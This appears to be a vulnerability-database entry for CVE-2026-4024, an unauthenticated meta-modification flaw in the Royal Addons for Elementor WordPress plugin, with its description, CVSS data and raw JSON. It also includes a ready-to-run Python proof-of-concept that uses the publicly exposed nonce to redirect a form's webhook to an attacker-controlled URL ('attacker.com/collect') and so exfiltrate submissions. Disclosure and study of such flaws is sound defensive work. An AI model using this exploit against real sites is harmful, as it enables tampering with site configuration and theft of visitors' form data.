Security Vulnerability Report
中文
CVE-2026-4024 CVSS 5.3 MEDIUM

CVE-2026-4024

Published: 2026-05-02 09:16:22
Last Modified: 2026-05-05 19:19:24

Description

The Royal Addons for Elementor plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `wpr_update_form_action_meta` AJAX action in all versions up to, and including, 1.7.1056. The handler is registered on both `wp_ajax` and `wp_ajax_nopriv` hooks, making it accessible to unauthenticated users. Although a nonce is verified, the nonce (`wpr-addons-js`) is publicly exposed in frontend JavaScript via `WprConfig.nonce` on any page that loads Royal Addons widgets, rendering the protection ineffective. The endpoint also lacks any capability or ownership checks and directly calls `update_post_meta()` with user-controlled input on a whitelisted set of form action meta keys. This makes it possible for unauthenticated attackers to modify form action configuration metadata (email, submissions, Mailchimp, and webhook settings) on any post, potentially leading to webhook/email action tampering and data exfiltration via modified webhook URLs.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Royal Addons for Elementor <= 1.7.1056

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" post_id = "123" # ID of a post containing a Royal Addons form attacker_webhook = "http://attacker.com/collect" # Step 1: Get the nonce from the frontend (simulated) # In a real scenario, scrape a page with the widget to find WprConfig.nonce # nonce = "scraped_nonce_value_from_js" nonce = "publicly_exposed_nonce_value" # Step 2: Prepare the payload to modify the form webhook payload = { "action": "wpr_update_form_action_meta", "nonce": nonce, "post_id": post_id, "key": "webhook_url", # Vulnerable meta key in whitelist "value": attacker_webhook } # Step 3: Send the malicious request try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Exploit successful! Webhook URL updated.") print(f"[+] Data will be exfiltrated to: {attacker_webhook}") else: print("[-] Exploit failed.") print(response.text) except Exception as e: print(f"[Error]: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4024", "sourceIdentifier": "[email protected]", "published": "2026-05-02T09:16:22.270", "lastModified": "2026-05-05T19:19:23.900", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Royal Addons for Elementor plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the `wpr_update_form_action_meta` AJAX action in all versions up to, and including, 1.7.1056. The handler is registered on both `wp_ajax` and `wp_ajax_nopriv` hooks, making it accessible to unauthenticated users. Although a nonce is verified, the nonce (`wpr-addons-js`) is publicly exposed in frontend JavaScript via `WprConfig.nonce` on any page that loads Royal Addons widgets, rendering the protection ineffective. The endpoint also lacks any capability or ownership checks and directly calls `update_post_meta()` with user-controlled input on a whitelisted set of form action meta keys. This makes it possible for unauthenticated attackers to modify form action configuration metadata (email, submissions, Mailchimp, and webhook settings) on any post, potentially leading to webhook/email action tampering and data exfiltration via modified webhook URLs."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/tags/1.7.1049/classes/modules/forms/wpr-actions-status.php#L21", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/tags/1.7.1049/classes/modules/forms/wpr-actions-status.php#L73", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/tags/1.7.1049/plugin.php#L592", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/classes/modules/forms/wpr-actions-status.php#L21", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/classes/modules/forms/wpr-actions-status.php#L73", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/plugin.php#L592", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2ecec7d7-d1b2-4ccf-ade6-1f78224968c6?source=cve", "source": "[email protected]"}]}}